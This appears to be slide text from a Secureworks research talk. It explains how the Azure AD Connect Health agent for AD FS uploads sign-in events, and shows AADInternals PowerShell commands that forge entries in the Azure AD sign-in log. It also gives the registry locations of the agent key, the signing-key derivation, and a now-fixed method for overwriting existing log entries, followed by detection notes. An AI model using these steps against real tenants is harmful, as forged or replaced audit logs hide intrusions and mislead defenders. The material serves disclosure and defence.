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Spoofting and Tampering with Azure AD Sign-ins log

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


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- Detection / mitigation


What is Azure AD Connect Health?

- A robust monitoring for on-prem infrastructure
- Helps to maintain reliable connection to M365 & Azure AD
- Supports AAD Connect and AD FS services



Hybrid Health agent for AD FS

- Reports AD FS infrastructure health to Azure AD
- Since March 2021, also log-in events sent to Azure AD!
- Azure AD has multiple sign-in logs:
 - **SignInLogs**
 - NonInteractiveUserSignInLogs
 - ServicePrincipalSignInLogs
 - ManagedIdentitySignInLogs
 - ProvisioningLogs
 - **ADFSSignInLogs**
 - RiskyUsers
 - UserRiskEvents



Microsoft Azure Search resources, services, and docs (G+)

Home > Contoso

Contoso | Sign-ins

Azure Active Directory

Enterprise applications
Devices
App registrations
Identity Governance
Application proxy
Licenses
Azure AD Connect
Custom domain names
Mobility (MDM and MAM)
Password reset
Company branding
User settings
Properties
Security

Download Export Data Settings Troubleshoot Refresh Columns Got feedback?

Want to switch back to the default sign-ins experience? Click here to leave the preview. →

Date: Last 24 hours Show dates as: UTC Add filters

User sign-ins (interactive) User sign-ins (non-interactive) Service principal sign-ins Managed identity sign-ins

Date (UTC)	Request ID	User	Application	Status	IP address	Location
7/9/2021, 5:43:25 AM	9cbd3331-4a36-441f...	AAD Admin	Azure Portal	Success		
7/8/2021, 2:17:40 PM	1ae15668-b953-40c...	test	Azure Portal	Interrupted		
7/8/2021, 1:46:09 PM	4d51a0d9-8ef7-4148...	AAD Admin	Azure Portal	Success		
7/8/2021, 12:34:05 PM	f34c81d4-671a-4d24...	Nestor Wilke	NotApplicable	Success	20.20.20.20	
7/8/2021, 12:30:58 PM	4b0d0097-1515-450...	AAD Admin	Azure Portal	Success		
7/8/2021, 9:13:09 AM	3b5354da-cf67-4524...	AAD Admin	Azure Portal	Success		
7/8/2021, 9:04:32 AM	8a844b1f-26b2-4877...	AAD Admin	Azure Portal	Success		
7/8/2021, 7:07:37 AM	078fe552-5db9-4d5f...		Microsoft Partner	Success		
	6e6-48d...	AAD Admin	Microsoft Partner	Success		
	64-48b3...	AAD Admin	Azure Portal	Success		
	325-4a2...	Nestor Wilke	NotApplicable	Success	40.40.40.41	
	b0-4894...		Azure Portal	Success		
	b0-4894...		Azure Portal	Interrupted		
	16d-49cf...	Nestor Wilke	NotApplicable	Success	40.40.40.40	
	323-4e7...	AAD Admin	Azure Portal	Success		
	1a0-42ab...	AAD Admin	Azure Portal	Success		

AADInternalsSenti... Select scope Run Time range: Last 24 hours Save Share + New alert rule

```

1 ADFSSignInLogs
2 | top 10 by TimeGenerated
3 | project UserPrincipalName,Id,TimeGenerated,IPAddress

```


Results Chart Columns Display time (UTC+00:00) Group columns

Completed. Showing results from the last 24 hours. 00:00.4 3 records


TimeGenerated [UTC]	Id	UserPrincipalName	IPAddress
7/8/2021, 12:34:05.000 PM	f34c81d4-671a-4d24-95b2-2d6c2ca40b44	nestorw@contoso.azurelabs.online	20.20.20.20
7/8/2021, 6:30:43.000 AM	220b0a01-5d25-4a29-a4fe-1f02d909ee66	nestorw@contoso.azurelabs.online	40.40.40.41
7/8/2021, 6:14:45.000 AM	9a40bda4-316d-49cf-abc8-3a74a8cf0693	nestorw@contoso.azurelabs.online	40.40.40.40

Hybrid Health agent for AD FS

- Consists of three services
- **Insights Service** responsible for sending the log-in events via
 - Azure Blob storage
 - Azure Service Bus



Protocol details



Step 2: Write Event Id 1200 (and some others too)

The screenshot shows the Windows Event Viewer application. The left-hand pane displays the 'Event Viewer (Local)' tree with 'Windows Logs' expanded to 'Security'. The main pane shows a list of security events. The event with ID 1200 is selected and highlighted in blue. Below the list, the 'Event 1200, AD FS Auditing' details are shown, including a description, activity ID, and a metadata table.

Keywords	Date and Time	Source	Event ID	Task Category
Classic,Audit Succ...	09/07/2021 7.03.54	AD FS Auditing	404	(3)
Classic,Audit Succ...	09/07/2021 7.03.54	AD FS Auditing	1200	(3)
Classic,Audit Succ...	09/07/2021 7.03.54	AD FS Auditing	501	(3)
Classic,Audit Succ...	09/07/2021 7.03.54	AD FS Auditing	501	(3)

Event 1200, AD FS Auditing

General Details

The Federation Service issued a valid token. See XML for details.

Activity ID: b91630ee-984e-40ff-a7ea-ffefdb472048

Log Name:	Security		
Source:	AD FS Auditing	Logged:	09/07/2021 7.03.54
Event ID:	1200	Task Category:	(3)
Level:	Information	Keywords:	Classic,Audit Success
User:	AADINTERNALS\sv_ADFSS	Computer:	SERVER.aadinternals.com
OpCode:			

More Information: [Event Log Online Help](#)

```

1 <?xml version="1.0" encoding="utf-16"?>
2 <AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="AppTokenAudit">
3   <AuditType>AppToken</AuditType>
4   <AuditResult>Success</AuditResult>
5   <FailureType>None</FailureType>
6   <ErrorCode>N/A</ErrorCode>
7   <ContextComponents>
8     <Component xsi:type="ResourceAuditComponent">
9       <RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>
10      <ClaimsProvider>AD AUTHORITY</ClaimsProvider>
11      <UserId>AADINTERNALS\test</UserId>
12    </Component>
13    <Component xsi:type="AuthNAuditComponent">
14      <PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:classes>PasswordProtectedTransport</PrimaryAuth>
15      <DeviceAuth>false</DeviceAuth>
16      <DeviceId>N/A</DeviceId>
17      <MfaPerformed>false</MfaPerformed>
18      <MfaMethod>N/A</MfaMethod>
19      <TokenBindingProvidedId>false</TokenBindingProvidedId>
20      <TokenBindingReferredId>false</TokenBindingReferredId>
21      <SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>
22    </Component>
23    <Component xsi:type="ProtocolAuditComponent">
24      <OAuthClientId>N/A</OAuthClientId>
25      <OAuthGrant>N/A</OAuthGrant>
26    </Component>
27    <Component xsi:type="RequestAuditComponent">
28      <Server>http://sts.fake.myo365.site/adfs/services/trust</Server>
29      <AuthProtocol>WSFederation</AuthProtocol>
30      <NetworkLocation>Intranet</NetworkLocation>
31      <IpAddress>10.10.10.30</IpAddress>
32      <ForwardedIpAddress/>
33      <ProxyIpAddress>N/A</ProxyIpAddress>
34      <NetworkIpAddress>N/A</NetworkIpAddress>
35      <ProxyServer>N/A</ProxyServer>
36      <UserAgentString>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</UserAgentString>
37      <Endpoint>/adfs/ls/</Endpoint>
38    </Component>
39  </ContextComponents>
40 </AuditBase>

```

Step 4: Get Service Access Token (SAT)

- Get Service Access Token from Azure AD:

```
https://s1.adhybridhealth.azure.com/oauth2/token
```



- Body:

```
grant_type=client_credentials&client_secret=<client_secret>client_id=<tenant_id>_<machine_id>
```

Parameter	Registry location
client_secret	HKLM:\SOFTWARE\Microsoft\ADHealthAgent\AgentKey
tenant_id	HKLM:\SOFTWARE\Microsoft\ADHealthAgent\TenantId
machine_id	HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent\MachineIdentity
service_id	HKLM:\SOFTWARE\Microsoft\ADHealthAgent\ADFS\ServiceId

Client secret (AgentKey)

- Base 64 encoded encrypted binary blob ☹️
- “Encrypted” with DPAPI 🔒
- Entropy: ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU



Step 5: Get Blob Upload Key (using SAT)

- Get Blob Upload Key from Azure AD:

```
https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/BlobUploadKey
```

- Returns pre-authenticated url:

```
https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-<service_id>?  
sv=2018-03-28&  
sr=c&  
sig=RCrQ0WOLr%2FjHIX6%2Fxcti1bPmbHgkp4T9eLS07uP%2FyKM%3D&  
se=2021-07-10T08%3A01%3A46Z&sp=w
```

Step 6: Get Event Publisher Key (using SAT)

- Get Event Publisher Key from Azure AD:

```
https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/EventHubPublisherKey
```

- Returns json:

```
"Endpoint=sb://adhsprodweuehadfsia.servicebus.windows.net/;SharedAccessSignature=SharedAccessSignature sr=sb%3a%2f%2fadhsprodweuehadfsia.servicebus.windows.net%2fadhsprodweuehadfsia%2fPublishers%2f658fe106-a59d-404e-985b-0c1bf3b4f72d&sig=4%2bZ%2bNurnA4%2b4t6dvTG8kqraJM1NzxKF0KFjiBIaZUw4%3d&se=1625904056&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Publisher=658fe106-a59d-404e-985b-0c1bf3b4f72d"
```

Step 7: Upload events to blob storage

- Content is a json file consisting of an array of log-in events

```
1  [
2  {
3    "UniqueID": "434c2d29-a4a0-4ce2-86f5-1679bbadc948",
4    "Server": "SERVER",
5    "EventType": 1,
6    "PrimaryAuthentication": 33,
7    "RequiredAuthType": 1,
8    "RelyingParty": "urn:federation:MicrosoftOnline",
9    "RelyingPartyName": "",
10   "Result": true,
11   "DeviceAuthentication": false,
12   "URL": "/adfs/ls",
13   "User": 1350057402,
14   "UserId": "AADINTERNALS\\test",
15   "UserIdType": 10,
16   "UPN": "test@fabrikam.azurelabs.online",
17   "Timestamp": "2021-07-09T07:03:54.9506592Z",
18   "Protocol": 2,
19   "NetworkLocation": 1,
20   "AppTokenFailureType": 0,
21   "IPAddress": "10.10.10.30",
22   "ClaimsProvider": null,
23   "OAuthClientID": null,
24   "OAuthTokenRetrievalMethod": null,
25   "MFA": null,
26   "MFAProviderErrorCode": null,
27   "ProxyServer": null,
28   "Endpoint": "/adfs/ls/",
29   "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
30   "DeviceID": "",
31   "ErrorHitCount": 0,
32   "X509CertificateType": null,
33   "MFAAuthenticationType": null,
34   "ActivityId": "b91630ee-984e-40ff-a7ea-ffefdb472048",
35   "ActivityIdAutoGenerated": false,
36   "PrimarySid": "S-1-5-21-2918793985-2280761178-2512057791-1602",
37   "ImmutableId": "rJcYmpdAz0i3VB7sI6ZDcg=="
38 }
39 ]
```

Step 8: Send a signature to events hub

- Signing key derived from the AgentKey:
 1. SHA512 calculated from the AgentKey
 2. Result converted to hex string
 3. Result converted to binary by Base64 decoding (!)
- String to be signed:
`<tenant_id>,<service_id>,<machine_id>,Adfs-UsageMetrics,<blob_url>,<date_string>`
- Signature:
 - HMACSHA512 using the derived key

Result	Proto...	Host	URL
200	HTTP	Tunnel to	adhsprodweuehadfsia.servicebus.windows.net:443
101	HTTPS	adhsprodweuehadfsia.servicebus.windows.net	/servicebus/websocket

[QuickExec] ALT+Q > type HELP to learn more


WebSocket #155 transferred 32 messages before closing.

ID	Type	Body	Preview
12	Binary	37	00-00-00-25-02-00-0...
13	Binary	36	00-00-00-24-02-00-0...
14	Binary	114	00-00-00-72-02-00-0...
15	Binary	150	00-00-00-96-02-00-0...
16	Binary	37	00-00-00-25-02-00-0...
17	Binary	122	00-00-00-7A-02-00-0...
18	Binary	36	00-00-00-24-02-00-0...
19	Binary	158	00-00-00-9E-02-00-0...
20	Binary	558	00-00-02-2E-02-00-0...
21	Binary	31	00-00-00-71-02-00-0...
22	Binary	82	00-53-73-C0-17-0D-4...
23	Binary	256	00-00-01-00-02-00-0...
24	Binary	368	00-00-01-70-02-00-0...
25	Binary	39	00-00-00-27-02-00-0...
26	Binary	579	00-00-02-43-02-00-0...
27	Binary	23	00-00-00-17-02-00-0...
28	Binary	17	00-00-00-11-02-00-0...
29	Binary	15	00-00-00-0E-02-00-0...



Inspect as Response Unfragment All


Metadata	TextView	HexView	JSON
0000011D	73 70 72 6F 64 77 65 75 61 61 64 73 79 6E 63		sprodweuaadsync
0000012C	69 61 64 61 74 61 2E 62 6C 6F 62 2E 63 6F 72		iadata.blob.cor
0000013B	65 2E 77 69 6E 64 6F 77 73 2E 6E 65 74 2F 61		e.windows.net/a
0000014A	64 66 65 64 65 72 61 74 69 6F 6E 73 65 72 76		dfederationserv
00000159	69 63 65 2D 35 30 61 62 63 38 66 33 2D 32 34		ice-50abc8f3-24
00000168	33 61 2D 34 61 63 31 2D 61 33 66 62 2D 37 31		3a-4ac1-a3fb-71
00000177	32 30 35 34 64 37 33 33 34 62 2F 61 34 31 34		2054d7334b/a414
00000186	33 36 33 37 2D 34 61 31 63 2D 34 62 65 30 2D		3637-4a1c-4be0-
00000195	39 32 62 33 2D 30 31 37 35 36 30 66 33 36 62		92b3-017560f36b
000001A4	65 38 2E 6A 73 6F 6E A1 0E 44 61 74 61 43 6F		e8.json;.DataCo
000001B3	6D 70 72 65 73 73 65 64 41 A1 0E 53 69 67 6E		mpressedA;.Sign
000001C2	69 6E 67 55 74 63 54 69 6D 65 83 00 00 01 7A		ingUtcTime....z
000001D1	8A 14 DD 55 A1 0D 48 6D 61 63 53 69 67 6E 61		..YU;.HmacSigna
000001E0	74 75 72 65 A1 58 72 42 2F 78 77 77 39 42 43		ture;XrB/xww9BC
000001EF	74 4C 31 57 6C 57 52 42 76 78 38 5A 47 65 75		tL1WlWRBvx8ZGeu
000001FE	74 66 39 54 78 50 43 71 6E 7A 30 49 46 4A 33		tf9TxPCqz0IFJ3
0000020D	49 36 63 7A 53 50 49 71 53 4E 30 34 31 31 72		I6czSPIqSN0411r
0000021C	6E 67 6D 4C 61 36 37 33 4F 6C 45 31 64 5A 49		ngmLa67301E1dZI
0000022B	67 38 4B 69 6D 32 4F 6C 4F 33 66 6F 55 32 79		g8Kim20103foU2y
0000023A	53 77 3D 3D 00 53 75 A0 00		Sw==.Su .



Creating fake events with AADInternals


- Supported since v0.5.0

```
1 $agentInfo = Get-AADInHybridHealthServiceAgentInfo
2 $events=@(
3     New-AADInHybridHealthServiceEvent -Server $agentInfo.Server -UPN NestorW@contoso.azurelabs.online -IPAddress "22.22.22.22"
4     New-AADInHybridHealthServiceEvent -Server $agentInfo.Server -UPN DiegoS@contoso.azurelabs.online -IPAddress "11.11.11.11"
5 )
6
7 Send-AADInHybridHealthServiceEvents -AgentInfo $agentInfo -Events $events -Verbose|
```

Date : **Last 24 hours** Show dates as : **UTC**  Add filters

User sign-ins (interactive) User sign-ins (non-interactive) Service principal sign-ins Managed identity sign-ins

Date (UTC)	Request ID	User	Application	Status	IP address	Location
7/9/2021, 11:17:27 AM	8d62c873-3d82-48f9-a30b-5...	Diego Siciliani	NotApplicable	Success	11.11.11.11	
7/9/2021, 10:17:27 AM	99058842-cf24-4159-850a-e...	Nestor Wilke	NotApplicable	Success	22.22.22.22	Rawalpindi, Punjab, PK



Tampering the sign-in logs

- Original behaviour:
 - Azure AD Sign-ins log **Request ID** was equal to event's **UniqueID**
 - By sending an existing **Request ID** as **UniqueID** replaced the original event!
- Current behaviour:
 - Request ID is always random

The screenshot shows the Azure AD Sign-in logs interface. At the top, there are navigation options: Download, Export Data Settings, Troubleshoot, Refresh, Columns, and Got feedback?. Below this is a message: "Want to switch back to the default sign-ins experience? Click here to leave the preview. →". The date range is set to "Last 24 hours" and the date format is "UTC". There are "Add filters" and "Service principal sign-ins" / "Managed identity sign-ins" tabs. The table below shows three log entries. The first two entries have a Request ID and UniqueID that match. The third entry has a Request ID that matches the UniqueID of the second entry, indicating tampering.

Date	Request ID	User	Application	Status	IP address
7/9/2021, 11:21:16 AM	078fe552-5db9-4d5f-a09e-e056d0bd4f00	AAD Admin	Azure Portal	Success	91.156.93.159
7/9/2021, 11:21:06 AM	708deb28-3c14-4b8a-8df2-9c5106c84c00	AAD Admin	Azure Portal	Success	91.156.93.159
7/9/2021, 11:17:27 AM	8d62c873-3d82-48f9-a30b-532be551709c	Diego Siciliani	NotApplicable	Success	11.11.11.11

```
1 {  
2   "UniqueID": "8d62c873-3d82-48f9-a30b-532be551709c",  
3   "Server": "SERVER",  
4 }
```

Registering fake service & agents

- Global Administrator can register fake services and agents
- Allows spoofing sign-ins log without AD FS infrastructure
- Not logged in Azure AD Audit logs!

Detecting / Mitigating?

- Exporting agentKey:
 - Registry SACL
- Spoofing:
 - Can not be detected
- Creating fake services & servers:
 - Azure Directory Activity Log (requires Azure subscription 💰💰)

Secureworks®